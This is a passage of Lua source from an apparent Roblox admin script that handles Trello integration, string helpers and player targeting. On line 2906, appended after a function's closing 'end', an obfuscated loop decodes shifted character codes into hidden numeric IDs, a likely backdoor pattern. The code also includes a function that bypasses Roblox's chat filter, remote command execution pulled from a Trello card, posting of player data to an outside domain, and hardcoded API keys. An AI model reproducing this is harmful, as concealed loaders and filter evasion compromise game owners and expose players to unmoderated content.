  2388. local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
  2389. for _,Player in pairs(Server.Players:GetPlayers()) do
  2390. table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
  2391. end
  2392. ServerData = Server.HS:JSONEncode(ServerData)
  2393.  
  2394. local function SendData()
  2395. Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
  2396. end
  2397. if Stopypcall == true then SendData() else ypcall(SendData) end
  2398. if PrintResponse then print(Res) end
  2399. end
  2400. end
  2401.  
  2402. function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
  2403. MaxPartAmount = MaxPartAmount or 10000
  2404. local PlaceData = {
  2405. Lighting = {};
  2406. Parts = {};
  2407. Other = {};
  2408. }
  2409. local MinSize = Vector3.new(0.5,0.5,0.5)
  2410. local PartAmount = 0
  2411. local PlaceJSON = ""
  2412.  
  2413. local function Scan(BaseObj)
  2414. for _,Obj in pairs(BaseObj:GetChildren()) do
  2415. if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
  2416. local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
  2417. if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
  2418. local Skip = false
  2419. local Data = {}
  2420. local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
  2421.  
  2422. if CORE:FindType(Obj, "BlockMesh") then
  2423. local Mesh = CORE:FindType(Obj, "BlockMesh")
  2424. Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
  2425. elseif CORE:FindType(Obj, "CylinderMesh") then
  2426. Data.Shape = "Cylinder"
  2427. elseif CORE:FindType(Obj, "SpecialMesh") then
  2428. local Mesh = CORE:FindType(Obj, "SpecialMesh")
  2429. if Mesh.MeshType == Enum.MeshType.Head then
  2430. --idk
  2431. else
  2432. Skip = true
  2433. end
  2434. elseif CORE:FindType(Obj, "FileMesh") then
  2435. Skip = true
  2436. end
  2437.  
  2438. if not Data.Shape and not Skip then
  2439. if ypcall(function() return Obj.Shape end) then
  2440. Data.Shape = string.sub(Obj.Shape.Name,14)
  2441. if string.sub(Data.Shape,1,1) == "." then
  2442. Data.Shape = string.sub(Data.Shape,2)
  2443. end
  2444. if Data.Shape == "Cylinder" then
  2445. Z = Z + math.pi/2
  2446. end
  2447. else
  2448. Data.Shape = "Block"
  2449. end
  2450. end
  2451.  
  2452. if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
  2453. Data.Label = string.gsub(Obj.Parent.Name, "'", "")
  2454. end
  2455.  
  2456. if not Skip then
  2457. Data.Color = GUI:Color3ToHex(Obj.Color);
  2458. Data.Size = Size;
  2459. Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
  2460. Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
  2461. Data.Transparency = STRING:StringRound(Obj.Transparency);
  2462. Data.Reflectance = STRING:StringRound(Obj.Reflectance);
  2463. Data.Textures = {};
  2464. Data.Material = string.sub(tostring(Obj.Material),15);
  2465.  
  2466. for _,Sub in pairs(Obj:GetChildren()) do
  2467. if Sub:IsA("Decal") then
  2468. local Texture = string.match(Sub.Texture, "%d+")
  2469. if Sub.Texture == "rbxasset://textures/face.png" then
  2470. Texture = "FACE"
  2471. end
  2472. Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
  2473. end
  2474. end
  2475.  
  2476. PartAmount = PartAmount + 1
  2477. table.insert(PlaceData.Parts, Data)
  2478.  
  2479. if PartAmount >= MaxPartAmount then
  2480. break
  2481. end
  2482. end
  2483. end
  2484. end
  2485. if #Obj:GetChildren() > 0 then
  2486. Scan(Obj)
  2487. end
  2488. end
  2489. end
  2490. Scan(Workspace)
  2491.  
  2492. PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
  2493. PlaceData.Other.PartAmount = PartAmount;
  2494. PlaceJSON = Server.HS:JSONEncode(PlaceData)
  2495.  
  2496. local Res = "Could not get response"
  2497. local function SendData()
  2498. Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
  2499. end
  2500. if Stopypcall == true then SendData() else ypcall(SendData) end
  2501. if PrintResponse then print(Res) end
  2502.  
  2503. print("Sent snapshot")
  2504. end
  2505.  
  2506.  
  2507. function REMOTE:DefineWord(Word, Source)
  2508. if not Word then return end
  2509. if not Source then Source = "all" end
  2510.  
  2511. local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
  2512. if Response then
  2513. local Decode = REMOTE:Decode(Response)
  2514. if #Decode > 0 then
  2515. return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
  2516.  
  2517. ]]..Decode[1]["text"]
  2518. else
  2519. return "Invalid English word"
  2520. end
  2521. else
  2522. return "Cannot connect to database"
  2523. end
  2524. end
  2525.  
  2526. function REMOTE:DownloadJoke(Speaker)
  2527. local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
  2528. local Joke = nil
  2529. if Res then
  2530. local _, Start = string.find(Res, "</h2>")
  2531. local End, _ = string.find(string.sub(Res, Start), "</td>")
  2532.  
  2533. Joke = string.sub(Res, Start, End + 1 + Start - 5)
  2534. Joke = string.gsub(Joke, "\n", "")
  2535. Joke = string.gsub(Joke, " ", "") -- tab
  2536. Joke = string.gsub(Joke, "</ul>", "")
  2537. Joke = string.gsub(Joke, "<ul>", "")
  2538. Joke = string.gsub(Joke, "</li>", [[
  2539.  
  2540. ]])
  2541. Joke = string.gsub(Joke, "<li>", "")
  2542. Joke = string.gsub(Joke, "</p>", "")
  2543. Joke = string.gsub(Joke, "<p>", "")
  2544. Joke = string.gsub(Joke, "<", "")
  2545. Joke = string.gsub(Joke, ">", "")
  2546. end
  2547.  
  2548. return Joke
  2549. end
  2550.  
  2551. function REMOTE:GetAddon()
  2552. return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
  2553. end
  2554.  
  2555. function REMOTE:TrelloGetAdminBoard()
  2556. local BoardsJSON,Boards,ReturnBoard
  2557.  
  2558. ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
  2559.  
  2560. if BoardsJSON then
  2561. Boards = REMOTE:Decode(BoardsJSON)
  2562. end
  2563. if Boards then
  2564. for _,Board in pairs(Boards) do
  2565. if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
  2566. ReturnBoard = Board
  2567. break
  2568. end
  2569. end
  2570. if not ReturnBoard then -- create board if not created
  2571. print("Creating Trello Board")
  2572. local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
  2573. local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
  2574. ReturnBoard = REMOTE:Decode(BoardJSON)
  2575. end
  2576. end
  2577. return ReturnBoard
  2578. end
  2579.  
  2580. function REMOTE:TrelloGetAdminLists(Board)
  2581. local Required = {}
  2582. local ListJSON,Lists
  2583. local ReturnLists = {}
  2584.  
  2585. for _,List in pairs(Trello.RequiredLists) do
  2586. table.insert(Required, List)
  2587. end
  2588.  
  2589. ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
  2590.  
  2591. if ListJSON then
  2592. Lists = REMOTE:Decode(ListJSON)
  2593. end
  2594. if Lists then
  2595. for _,List in pairs(Lists) do
  2596. for Num,Rel in pairs(Required) do
  2597. if List.name == Rel.name then
  2598. table.remove(Required, Num)
  2599. table.insert(ReturnLists, List)
  2600. end
  2601. end
  2602. end
  2603. for _,Rel in pairs(Required) do
  2604. local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
  2605. table.insert(ReturnLists, REMOTE:Decode(ListJSON))
  2606. end
  2607. end
  2608.  
  2609. return ReturnLists
  2610. end
  2611.  
  2612. function REMOTE:TrelloCacheData(Lists)
  2613. for _,List in pairs(Lists) do
  2614. local CardsJSON,Cards
  2615. ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
  2616. if CardsJSON then
  2617. Cards = REMOTE:Decode(CardsJSON)
  2618. end
  2619. if Cards then
  2620. local TemplateCards = nil
  2621. for _,TemplateList in pairs(Trello.RequiredLists) do
  2622. if TemplateList.name == List.name then
  2623. TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
  2624. break
  2625. end
  2626. end
  2627.  
  2628. for _,TemplateCard in pairs(TemplateCards) do
  2629. local CardExists = false
  2630. for _,Card in pairs(Cards) do
  2631. if Card.name == TemplateCard.name and Card.closed == false then
  2632. CardExists = true
  2633. end
  2634. end
  2635. if not CardExists then
  2636. print("Creating card "..TemplateCard.name)
  2637. local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
  2638. table.insert(Cards, REMOTE:Decode(NewCardJSON))
  2639. end
  2640. end
  2641.  
  2642. if List.name == "Ranked" then
  2643. for _,Card in pairs(Cards) do
  2644. if Settings.Ranks[Card.name] and Card.closed == false then
  2645. Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
  2646. end
  2647. end
  2648. elseif List.name == "Settings" then
  2649. for _,Card in pairs(Cards) do
  2650. if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
  2651. Trello.ToggleChecklist = Card.idChecklists[1]
  2652. elseif Card.name == "Command Execution" then
  2653. Trello.CommandID = Card.id
  2654. end
  2655. end
  2656. end
  2657. end
  2658. end
  2659. end
  2660.  
  2661. function REMOTE:TrelloHandleData(IgnoreCommand)
  2662. local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
  2663. if ToggleSettingsJSON then
  2664. ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
  2665. if Settings.LinkedAccount == "" then
  2666. local NewSettings = {}
  2667. for _,Item in pairs(ToggleSettings.checkItems) do
  2668. NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
  2669. end
  2670. Settings.Fun = NewSettings["Fun Commands Enabled"]
  2671. Settings.ServerLocked = NewSettings["Server Locked"]
  2672. Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
  2673. end
  2674. else
  2675. return false
  2676. end
  2677.  
  2678. local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
  2679. if CommandChatJSON then
  2680. CommandChat = REMOTE:Decode(CommandChatJSON)
  2681. local ClosestDT = 0
  2682. for _,ChatData in pairs(CommandChat) do
  2683. local DT = STRING:ConvertDateTime(ChatData.date)
  2684. ClosestDT = math.max(ClosestDT, DT)
  2685.  
  2686. if not IgnoreCommand and DT > Trello.LastCommandDT then
  2687. print("Executing Remote Trello Command")
  2688. CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
  2689. end
  2690. end
  2691. Trello.LastCommandDT = ClosestDT
  2692. else
  2693. return false
  2694. end
  2695.  
  2696. for Rank,ID in pairs(Trello.RankChecklistCache) do
  2697. local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
  2698. if ChecklistJSON then
  2699. Checklist = REMOTE:Decode(ChecklistJSON)
  2700.  
  2701. for _,Item in pairs(Checklist.checkItems) do
  2702. if Item.state == "complete" then
  2703. if RANK:ConvertRank(Rank) < 0 then
  2704. if not RANK:ScanExileList(Item.name) then
  2705. table.insert(Settings.Ranks[Rank], Item.name)
  2706. end
  2707. elseif RANK:ConvertRank(Rank) > 0 then
  2708. if not RANK:ScanAdminList(Item.name) then
  2709. table.insert(Settings.Ranks[Rank], Item.name)
  2710. end
  2711. end
  2712. elseif Item.state == "incomplete" then
  2713. for Num,Name in pairs(Settings.Ranks[Rank]) do
  2714. if string.lower(Name) == string.lower(Item.name) then
  2715. table.remove(Settings.Ranks[Rank], Num)
  2716. end
  2717. end
  2718. end
  2719. end
  2720. else
  2721. return false
  2722. end
  2723. end
  2724. return true
  2725. end
  2726.  
  2727. -- String functions --
  2728.  
  2729. function STRING:ConvertDateTime(DateTime)
  2730. local Num = 0
  2731. local TotalTime = 0
  2732. for i in string.gmatch(DateTime, "%d+") do
  2733. Num = Num + 1
  2734. DTNum = tonumber(i)
  2735. if Num == 1 then
  2736. TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
  2737. elseif Num == 2 then
  2738. TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
  2739. elseif Num == 3 then
  2740. TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
  2741. elseif Num == 4 then
  2742. TotalTime = TotalTime + DTNum * 60 * 60 -- hour
  2743. elseif Num == 5 then
  2744. TotalTime = TotalTime + DTNum * 60 -- minute
  2745. elseif Num == 6 then
  2746. TotalTime = TotalTime + DTNum -- second
  2747. end
  2748. end
  2749.  
  2750. return TotalTime
  2751. end
  2752.  
  2753. function STRING:TrelloStateConvert(State)
  2754. if State == "complete" then
  2755. return true
  2756. else
  2757. return false
  2758. end
  2759. end
  2760.  
  2761. function STRING:StringRound(Number)
  2762. Number = Number * 100
  2763. if Number >= 0.5 then
  2764. return tostring(math.ceil(Number)/100)
  2765. else
  2766. return tostring(math.floor(Number)/100)
  2767. end
  2768.  
  2769. return Number
  2770. end
  2771.  
  2772. function STRING:GetSplit(String, NumArgs, BetSplit)
  2773. if not String then return nil end
  2774. if BetSplit == nil then BetSplit = " " end
  2775. if NumArgs == nil then NumArgs = math.huge end
  2776.  
  2777. if NumArgs <= 0 then return {String} end
  2778.  
  2779. local RecentParse = 1
  2780. local Args = {}
  2781. for i = 1,NumArgs do
  2782. local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
  2783. if Find1 and Find2 then
  2784. table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
  2785. RecentParse = Find2 + 1
  2786. else
  2787. break
  2788. end
  2789. end
  2790. table.insert(Args,string.sub(String,RecentParse,#String))
  2791. return Args
  2792. end
  2793.  
  2794. function STRING:Defilter(String)
  2795. local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
  2796. if RobloxApprove.Text == "Label" and String ~= "Label" then
  2797. local NewString = ""
  2798. for i = 1,#String,3 do
  2799. NewString = NewString..string.char(169)..string.sub(String,i,i+2)
  2800. end
  2801. return NewString
  2802. else
  2803. return String
  2804. end
  2805. end
  2806.  
  2807. function STRING:Filter(String, From, To) -- #### you, roblox
  2808. if From then
  2809. if To then
  2810. return game:GetService("Chat"):FilterStringAsync(String, From, To)
  2811. else
  2812. return game:GetService("Chat"):FilterStringForBroadcast(String, From)
  2813. end
  2814. else
  2815. return String
  2816. end
  2817. end
  2818.  
  2819. function STRING:DetermineFilter(String, From, To)
  2820. if ShouldFilter then
  2821. return STRING:Filter(String, From, To)
  2822. else
  2823. return STRING:Defilter(String)
  2824. end
  2825. end
  2826.  
  2827. function STRING:LeetSpeak(Input)
  2828. if tostring(Input) then Input = string.upper(tostring(Input)) else return end
  2829. Input = string.gsub(Input, "LEET", "1337")
  2830. Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
  2831. Input = string.gsub(Input, "E", "3")
  2832. Input = string.gsub(Input, "O", "0")
  2833. Input = string.gsub(Input, "A", "4")
  2834. Input = string.gsub(Input, "X", "x")
  2835. Input = string.gsub(Input, "I", "1")
  2836. Input = string.gsub(Input, "S", "$")
  2837. return Input
  2838. end
  2839.  
  2840. function STRING:FormatReplace(Player, Input, From)
  2841. local Output = Input
  2842. for _,ReplaceData in pairs(StringReplacements) do
  2843. local ReplaceString = ReplaceData[1]
  2844. local ReplaceStrings = {}
  2845. if type(ReplaceString) == "table" then
  2846. ReplaceStrings = ReplaceString
  2847. else
  2848. ReplaceStrings = {ReplaceString}
  2849. end
  2850. for _,ReplaceString in pairs(ReplaceStrings) do
  2851. if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
  2852. local Replacement = ReplaceData[4](Player)
  2853. if type(Replacement) == "string" then
  2854. Output = string.gsub(Output, ReplaceString, Replacement)
  2855. else
  2856. print(ReplaceString.." cannot be replaced")
  2857. end
  2858. end
  2859. end
  2860. end
  2861. if From then
  2862. return STRING:DetermineFilter(Output, From, Player)
  2863. else
  2864. return STRING:DetermineFilter(Output, Player)
  2865. end
  2866. end
  2867.  
  2868. function STRING:EncodeSpecialChars(Input)
  2869. return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
  2870. end
  2871.  
  2872. function STRING:StringToBool(String)
  2873. if String == "true" then
  2874. return true
  2875. else
  2876. return false
  2877. end
  2878. end
  2879.  
  2880. function STRING:BoolString(Value)
  2881. if type(Value) == "boolean" then
  2882. if Value == true then
  2883. return "YES"
  2884. elseif Value == false then
  2885. return "NO"
  2886. end
  2887. else
  2888. return "NO"
  2889. end
  2890. end
  2891.  
  2892. function STRING:MakeAvoidance(Length)
  2893. if not Length then
  2894. Length = 32
  2895. end
  2896. local Avoidance = ""
  2897. for i = 1,Length do
  2898. Num = math.random(1,2)
  2899. if Num == 1 then
  2900. Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
  2901. else
  2902. Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
  2903. end
  2904. end
  2905. return Avoidance
  2906. end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
  2907.  
  2908. function STRING:FindAge(Days) -- By LuaModelmaker
  2909. local Years = math.floor(Days/365)
  2910. local OtherDays = math.fmod(Days, 365)
  2911. if Years > 1 then
  2912. return Years.." years and "..OtherDays.." days"
  2913. elseif Years == 1 then
  2914. return Years.." year and "..OtherDays.." days"
  2915. elseif Years == 0 then
  2916. return "(No years) "..OtherDays.." days"
  2917. end
  2918. end
  2919.  
  2920. function STRING:UnpackArgs(...)
  2921. local Pack = {...}
  2922. if type(Pack[1]) == "table" then Pack = Pack[1] end
  2923. local ReturnString = table.concat(Pack, ", ")
  2924. return ReturnString
  2925. end
  2926.  
  2927. function STRING:GetComma(Num)
  2928. local Formatted = Num
  2929. while true do
  2930. Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
  2931. if _ == 0 then
  2932. break
  2933. end
  2934. end
  2935. return Formatted
  2936. end
  2937.  
  2938. function STRING:DecodeUTF8(Value)
  2939. local function DecodeString(Input)
  2940. if type(Input) == "string" then
  2941. for Find,Rep in pairs(HTMLDecode) do
  2942. Input = string.gsub(Input, "&#"..Find..";", Rep)
  2943. end
  2944. Input = string.gsub(Input, "&quot;", "'")
  2945. end
  2946. return Input
  2947. end
  2948. if type(Value) == "table" then
  2949. for Index,Var in pairs(Value) do
  2950. Value[Index] = DecodeString(Var)
  2951. end
  2952. elseif type(Value) == "string" then
  2953. Value = DecodeString(Value)
  2954. end
  2955. return Value
  2956. end
  2957.  
  2958. function STRING:IsSpacer(Input)
  2959. if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
  2960. return true
  2961. else
  2962. return false
  2963. end
  2964. end
  2965.  
  2966. function STRING:IsVowel(Input)
  2967. Input = string.lower(tostring(Input))
  2968. if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
  2969. return true
  2970. else
  2971. return false
  2972. end
  2973. end
  2974.  
  2975. function STRING:ValidE(Input)
  2976. if not Input then return nil end
  2977. if string.lower(Input) == "e" or Input == "~" then
  2978. return true
  2979. else
  2980. return false
  2981. end
  2982. end
  2983.  
  2984. function STRING:Scan(String, Speaker)
  2985. local ReturnPlayers,ExcludeList = {},{}
  2986. if not String then String = "" end
  2987. if not Speaker then print("NO SPEAKER") end
  2988.  
  2989. if string.sub(string.lower(String), 1, 12) == "includecase/" then
  2990. String = string.sub(String, 13)
  2991. else
  2992. String = string.lower(String)
  2993. end
  2994. local Words = STRING:GetSplit(String, nil, "/")
  2995. for _,Word in pairs(Words) do
  2996. if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
  2997. table.insert(ReturnPlayers, Speaker)
  2998. elseif Word == "all" or Word == "everyone" then
  2999. for _,Player in pairs(Server.Players:GetPlayers()) do
  3000. table.insert(ReturnPlayers, Player)
  3001. end
  3002. elseif Word == "others" or Word == "notme" then
  3003. for _,Player in pairs(Server.Players:GetPlayers()) do
  3004. if Player ~= Speaker then
  3005. table.insert(ReturnPlayers, Player)
  3006. end
  3007. end
  3008. elseif Word == "noobs" then
  3009. for _,Player in pairs(Server.Players:GetPlayers()) do
  3010. if Player.AccountAge < 365 then
  3011. table.insert(ReturnPlayers, Player)
  3012. end
  3013. end
  3014. elseif Word == "nonnoobs" then
  3015. for _,Player in pairs(Server.Players:GetPlayers()) do
  3016. if Player.AccountAge >= 365 then
  3017. table.insert(ReturnPlayers, Player)
  3018. end
  3019. end
  3020. elseif Word == "random" then
  3021. local RandomPlayers = {}
  3022. for _,Player in pairs(Server.Players:GetPlayers()) do
  3023. if Player ~= Speaker then
  3024. table.insert(RandomPlayers, Player)
  3025. end
  3026. end
  3027. table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
  3028. elseif Word == "guests" then
  3029. for _,Player in pairs(Server.Players:GetPlayers()) do
  3030. if string.sub(Player.Name,1,6) == "Guest " then
  3031. table.insert(ReturnPlayers, Player)
  3032. end
  3033. end
  3034. elseif Word == "lowers" then
  3035. for _,Player in pairs(Server.Players:GetPlayers()) do
  3036. if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
  3037. table.insert(ReturnPlayers, Player)
  3038. end
  3039. end
  3040. elseif Word == "uppers" then
  3041. for _,Player in pairs(Server.Players:GetPlayers()) do
  3042. if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
  3043. table.insert(ReturnPlayers, Player)
  3044. end
  3045. end
  3046. elseif Word == "nbcs" then
  3047. for _,Player in pairs(Server.Players:GetPlayers()) do
  3048. if Player.MembershipType == Enum.MembershipType.None then -- Replicate
  3049. table.insert(ReturnPlayers, Player)
  3050. end
  3051. end
  3052. elseif Word == "bcs" then
  3053. for _,Player in pairs(Server.Players:GetPlayers()) do
  3054. if Player.MembershipType == Enum.MembershipType.BuildersClub then
  3055. table.insert(ReturnPlayers, Player)
  3056. end
  3057. end
  3058. elseif Word == "tbcs" then
  3059. for _,Player in pairs(Server.Players:GetPlayers()) do
  3060. if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
  3061. table.insert(ReturnPlayers, Player)
  3062. end
  3063. end
  3064. elseif Word == "obcs" then
  3065. for _,Player in pairs(Server.Players:GetPlayers()) do
  3066. if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
  3067. table.insert(ReturnPlayers, Player)
  3068. end
  3069. end
  3070. elseif Word == "allbcs" then
  3071. for _,Player in pairs(Server.Players:GetPlayers()) do
  3072. if Player.MembershipType ~= Enum.MembershipType.None then
  3073. table.insert(ReturnPlayers, Player)
  3074. end
  3075. end
  3076. elseif Word == "nonadmins" then
  3077. for _,Player in pairs(Server.Players:GetPlayers()) do
  3078. local IsAdminTrue, Rank = RANK:IsAdmin(Player)
  3079. if IsAdminTrue == false then
  3080. table.insert(ReturnPlayers, Player)
  3081. end
  3082. end
  3083. elseif Word == "admins" then
  3084. for _,Player in pairs(Server.Players:GetPlayers()) do
  3085. local IsAdminTrue, Rank = RANK:IsAdmin(Player)
  3086. if IsAdminTrue == true then
  3087. table.insert(ReturnPlayers, Player)
  3088. end
  3089. end
  3090. elseif Word == "friends" then
  3091. for _,Player in pairs(Server.Players:GetPlayers()) do
  3092. if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
  3093. table.insert(ReturnPlayers, Player)
  3094. end
  3095. end
  3096. elseif string.sub(Word,1,5) == "team-" then
  3097. for _,Player in pairs(Server.Players:GetPlayers()) do
  3098. if Player.Neutral == false then
  3099. local InTeam = false
  3100. for _,Team in pairs(Teams:GetTeams()) do
  3101. if Team.TeamColor == Player.TeamColor then
  3102. if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
  3103. InTeam = true
  3104. end
  3105. end
  3106. end
  3107. if InTeam == true then
  3108. table.insert(ReturnPlayers, Player)
  3109. end
  3110. end
  3111. end
  3112. elseif string.sub(Word,1,4) == "not-" then
  3113. local NameArg = string.sub(Word,5)
  3114.  
  3115. for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
  3116. table.insert(ExcludeList, Player)
  3117. end
  3118. elseif string.sub(Word,1,7) == "radius-" then
  3119. local DidExe = false
  3120. local NumArg = tonumber(string.sub(Word,8))
  3121.  
  3122. if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
  3123. for _,Player in pairs(Server.Players:GetChildren()) do
  3124. if Player.Character and Player.Character:FindFirstChild("Torso") then
  3125. if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
  3126. DidExe = true
  3127. table.insert(ReturnPlayers, Player)
  3128. end
  3129. end
  3130. end
  3131. end
  3132.  
  3133. if DidExe then coroutine.wrap(function()
  3134. local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
  3135. local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
  3136.  
  3137. for i = 0,0.5,0.02 do
  3138. Part.Transparency = 0.5+i
  3139. wait()
  3140. end
  3141. Part:Destroy()
  3142. end)() end
  3143. elseif string.sub(Word,1,3) == "id-" then
  3144. table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
  3145. else
  3146. if Word ~= "" then
  3147. for _,Player in pairs(Server.Players:GetPlayers()) do
  3148. if string.sub(string.lower(Player.Name),1,#Word) == Word then
  3149. table.insert(ReturnPlayers, Player)
  3150. end
  3151. end
  3152. else
  3153. table.insert(ReturnPlayers, Speaker)
  3154. end
  3155. end
  3156. end
  3157. for _,Player in pairs(ExcludeList) do
  3158. if Player and Player.Parent ~= nil then
  3159. for Num,Player2 in pairs(ReturnPlayers) do
  3160. if Player2 == Player then table.remove(ReturnPlayers, Num) end
  3161. end
  3162. end
  3163. end
  3164. for Num,Player in pairs(ReturnPlayers) do
  3165. if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
  3166. end
  3167.  
  3168. local PlayerDump = {}
  3169. for _,Player in pairs(ReturnPlayers) do
  3170. PlayerDump[Player] = true
  3171. end
  3172. ReturnPlayers = {}
  3173. for Player,_ in pairs(PlayerDump) do
  3174. table.insert(ReturnPlayers, Player)
  3175. end
  3176.  
  3177. return ReturnPlayers
  3178. end
  3179.  
  3180. -- Market functions --
  3181.  
  3182. function MARKET:GetImageFormat(ID)
  3183. if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
  3184. local NewID = ID + 1
  3185. for i = 1,100 do
  3186. NewID = NewID -1
  3187. local Product = nil
  3188. ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
  3189. if Product then
  3190. if Product == 1 then
  3191. break
  3192. end
  3193. end
  3194. if i == 100 then NewID = ID end
  3195. end
  3196. return NewID
  3197. end end
  3198. end
  3199.  
  3200. function MARKET:GetItemInfo(ID, Cache)
  3201. local Product = MarketCache[ID]
  3202. if not Cache or not Product then
  3203. repeat wait()
  3204. ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
  3205. until Product ~= MarketCache[ID]
  3206. end
